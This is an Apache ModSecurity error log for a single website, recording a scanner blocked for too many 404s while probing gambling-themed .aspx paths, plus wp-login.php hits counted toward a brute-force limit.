[Wed Feb 18 11:00:24.986521 2026] [:error] [pid 21961:tid 21976] [client 147.135.213.218:40888] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aZUrSMUBDt_-H0ms3gXD7QAAAM0"]
[Wed Feb 18 11:00:27.332758 2026] [:error] [pid 57014:tid 57035] [client 147.135.213.218:40900] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aZUrSxNZnhS5qKtVIMJw3gAAARI"]
[Wed Feb 18 11:41:19.281631 2026] [:error] [pid 21847:tid 21867] [client 137.184.237.108:60702] [client 137.184.237.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.184.237.108, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZU03_y9A5wy4LuXmJ1ogQAAAAk"]
[Wed Feb 18 11:41:24.507254 2026] [:error] [pid 21849:tid 21939] [client 144.217.252.106:55246] [client 144.217.252.106] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 144.217.252.106, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZU05Lx9a1XrfTYnuzLlLgAAAJc"]
[Wed Feb 18 12:52:03.581447 2026] [:error] [pid 21847:tid 21864] [client 147.135.214.103:35866] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aZVFc_y9A5wy4LuXmJ2F-wAAAAY"]
[Wed Feb 18 12:52:05.955930 2026] [:error] [pid 21848:tid 21899] [client 147.135.214.103:37358] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aZVFdfbG91VRkVidT5e3WwAAAEo"]
[Wed Feb 18 12:52:08.347488 2026] [:error] [pid 21961:tid 21974] [client 147.135.214.103:37370] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aZVFeMUBDt_-H0ms3gX3igAAAMs"]
[Wed Feb 18 12:52:10.723002 2026] [:error] [pid 21961:tid 21964] [client 147.135.214.103:37378] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aZVFesUBDt_-H0ms3gX3jwAAAME"]
[Wed Feb 18 12:52:13.347856 2026] [:error] [pid 5561:tid 5587] [client 147.135.214.103:37392] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aZVFfUoQssCZYQ4NexZkDwAAAVc"]
[Wed Feb 18 12:52:15.883839 2026] [:error] [pid 21961:tid 21965] [client 147.135.214.103:51554] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aZVFf8UBDt_-H0ms3gX3pQAAAMI"]
[Wed Feb 18 12:52:18.140490 2026] [:error] [pid 57014:tid 57026] [client 147.135.214.103:51564] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aZVFghNZnhS5qKtVIMKanAAAAQk"]
[Wed Feb 18 12:52:20.596667 2026] [:error] [pid 21961:tid 21966] [client 147.135.214.103:51588] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aZVFhMUBDt_-H0ms3gX3qwAAAMM"]
[Wed Feb 18 12:52:23.022779 2026] [:error] [pid 57014:tid 57036] [client 147.135.214.103:51594] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aZVFhxNZnhS5qKtVIMKapwAAARM"]
[Wed Feb 18 12:52:25.569793 2026] [:error] [pid 57014:tid 57032] [client 147.135.214.103:55172] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aZVFiRNZnhS5qKtVIMKaqwAAAQ8"]
[Wed Feb 18 12:52:28.117164 2026] [:error] [pid 21961:tid 21983] [client 147.135.214.103:55180] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aZVFjMUBDt_-H0ms3gX3yAAAANQ"]
[Wed Feb 18 12:52:30.694498 2026] [:error] [pid 21847:tid 21865] [client 147.135.214.103:55196] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aZVFjvy9A5wy4LuXmJ2GSAAAAAc"]
[Wed Feb 18 12:52:33.186229 2026] [:error] [pid 21849:tid 21927] [client 147.135.214.103:55214] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aZVFkbx9a1XrfTYnuzL70AAAAIs"]
[Wed Feb 18 12:52:35.664837 2026] [:error] [pid 5561:tid 5566] [client 147.135.214.103:49164] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aZVFk0oQssCZYQ4NexZkKQAAAUI"]
[Wed Feb 18 12:52:38.173163 2026] [:error] [pid 5561:tid 5569] [client 147.135.214.103:49172] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aZVFlkoQssCZYQ4NexZkKgAAAUU"]
[Wed Feb 18 12:52:40.494842 2026] [:error] [pid 21847:tid 21862] [client 147.135.214.103:49192] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aZVFmPy9A5wy4LuXmJ2GXgAAAAQ"]
[Wed Feb 18 12:52:43.003770 2026] [:error] [pid 21847:tid 21876] [client 147.135.214.103:49204] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aZVFm_y9A5wy4LuXmJ2GewAAABI"]
[Wed Feb 18 12:52:45.354590 2026] [:error] [pid 21848:tid 21903] [client 147.135.214.103:38208] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aZVFnfbG91VRkVidT5e3nwAAAE4"]
[Wed Feb 18 12:52:47.762194 2026] [:error] [pid 21847:tid 21867] [client 147.135.214.103:38210] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aZVFn_y9A5wy4LuXmJ2GigAAAAk"]
[Wed Feb 18 12:52:50.301042 2026] [:error] [pid 21849:tid 21925] [client 147.135.214.103:38242] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aZVForx9a1XrfTYnuzL77wAAAIk"]
[Wed Feb 18 12:52:52.819166 2026] [:error] [pid 5561:tid 5579] [client 147.135.214.103:38250] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aZVFpEoQssCZYQ4NexZkPwAAAU8"]
[Wed Feb 18 12:52:56.140828 2026] [:error] [pid 21961:tid 21980] [client 147.135.214.103:48154] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aZVFqMUBDt_-H0ms3gX3-gAAANE"]
[Wed Feb 18 12:52:58.640761 2026] [:error] [pid 21848:tid 21898] [client 147.135.214.103:48174] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aZVFqvbG91VRkVidT5e3tAAAAEk"]
[Wed Feb 18 12:53:25.248892 2026] [:error] [pid 21961:tid 21978] [client 147.135.214.103:48190] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aZVFxcUBDt_-H0ms3gX4RwAAAM8"]
[Wed Feb 18 12:53:27.768712 2026] [:error] [pid 21847:tid 21872] [client 147.135.214.103:44944] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "aZVFx_y9A5wy4LuXmJ2G3wAAAA4"]
[Wed Feb 18 12:53:30.136785 2026] [:error] [pid 57014:tid 57031] [client 147.135.214.103:44950] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aZVFyhNZnhS5qKtVIMKbEgAAAQ4"]
[Wed Feb 18 12:53:32.677091 2026] [:error] [pid 21848:tid 21910] [client 147.135.214.103:44952] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aZVFzPbG91VRkVidT5e4CAAAAFU"]
[Wed Feb 18 12:53:35.083561 2026] [:error] [pid 21961:tid 21971] [client 147.135.214.103:57038] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aZVFz8UBDt_-H0ms3gX4ZQAAAMg"]
[Wed Feb 18 12:53:37.623598 2026] [:error] [pid 21849:tid 21921] [client 147.135.214.103:57046] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aZVF0bx9a1XrfTYnuzL8bgAAAIU"]
[Wed Feb 18 12:53:39.986802 2026] [:error] [pid 21847:tid 21861] [client 147.135.214.103:57052] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aZVF0_y9A5wy4LuXmJ2G8gAAAAM"]
[Wed Feb 18 12:53:42.528699 2026] [:error] [pid 21848:tid 21895] [client 147.135.214.103:57060] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aZVF1vbG91VRkVidT5e4EwAAAEY"]
[Wed Feb 18 12:53:45.037546 2026] [:error] [pid 21847:tid 21862] [client 147.135.214.103:38894] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aZVF2fy9A5wy4LuXmJ2G-AAAAAQ"]
[Wed Feb 18 12:53:47.554648 2026] [:error] [pid 21961:tid 21980] [client 147.135.214.103:38906] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aZVF28UBDt_-H0ms3gX4jwAAANE"]
[Wed Feb 18 12:53:50.110377 2026] [:error] [pid 21849:tid 21933] [client 147.135.214.103:38918] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aZVF3rx9a1XrfTYnuzL8hwAAAJE"]
[Wed Feb 18 12:53:52.472705 2026] [:error] [pid 57014:tid 57022] [client 147.135.214.103:38920] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aZVF4BNZnhS5qKtVIMKbPAAAAQU"]
[Wed Feb 18 12:53:54.980067 2026] [:error] [pid 21961:tid 21970] [client 147.135.214.103:49374] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aZVF4sUBDt_-H0ms3gX4nQAAAMc"]
[Wed Feb 18 12:53:57.508121 2026] [:error] [pid 21847:tid 21862] [client 147.135.214.103:49376] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aZVF5fy9A5wy4LuXmJ2HFAAAAAQ"]
[Wed Feb 18 12:54:00.021849 2026] [:error] [pid 21849:tid 21921] [client 147.135.214.103:49380] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aZVF6Lx9a1XrfTYnuzL8nQAAAIU"]
[Wed Feb 18 12:54:02.524049 2026] [:error] [pid 57014:tid 57023] [client 147.135.214.103:49388] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aZVF6hNZnhS5qKtVIMKbSAAAAQY"]
[Wed Feb 18 12:54:05.021083 2026] [:error] [pid 21961:tid 21979] [client 147.135.214.103:36496] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aZVF7cUBDt_-H0ms3gX4rgAAANA"]
[Wed Feb 18 12:54:07.518051 2026] [:error] [pid 21849:tid 21929] [client 147.135.214.103:36498] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aZVF77x9a1XrfTYnuzL8swAAAI0"]
[Wed Feb 18 12:54:10.030282 2026] [:error] [pid 21961:tid 21980] [client 147.135.214.103:36504] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aZVF8sUBDt_-H0ms3gX4uwAAANE"]
[Wed Feb 18 12:54:12.258010 2026] [:error] [pid 57014:tid 57027] [client 147.135.214.103:36526] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aZVF9BNZnhS5qKtVIMKbUwAAAQo"]
[Wed Feb 18 12:54:14.762002 2026] [:error] [pid 21849:tid 21926] [client 147.135.214.103:50596] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aZVF9rx9a1XrfTYnuzL8yAAAAIo"]
[Wed Feb 18 12:54:17.270290 2026] [:error] [pid 5561:tid 5576] [client 147.135.214.103:50598] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aZVF-UoQssCZYQ4NexZk4QAAAUw"]
[Wed Feb 18 12:54:19.765347 2026] [:error] [pid 21961:tid 21965] [client 147.135.214.103:50622] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aZVF-8UBDt_-H0ms3gX40gAAAMI"]
[Wed Feb 18 12:54:45.998593 2026] [:error] [pid 21961:tid 21981] [client 147.135.214.103:50628] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aZVGFcUBDt_-H0ms3gX5NgAAANI"]
[Wed Feb 18 12:54:48.444027 2026] [:error] [pid 21961:tid 21965] [client 147.135.214.103:48328] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aZVGGMUBDt_-H0ms3gX5PQAAAMI"]
[Wed Feb 18 12:54:50.932065 2026] [:error] [pid 21847:tid 21864] [client 147.135.214.103:48342] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aZVGGvy9A5wy4LuXmJ2HiAAAAAY"]
[Wed Feb 18 12:54:53.434039 2026] [:error] [pid 21849:tid 21918] [client 147.135.214.103:48358] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aZVGHbx9a1XrfTYnuzL9QQAAAII"]
[Wed Feb 18 12:54:55.757149 2026] [:error] [pid 57014:tid 57022] [client 147.135.214.103:44336] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aZVGHxNZnhS5qKtVIMKbrAAAAQU"]
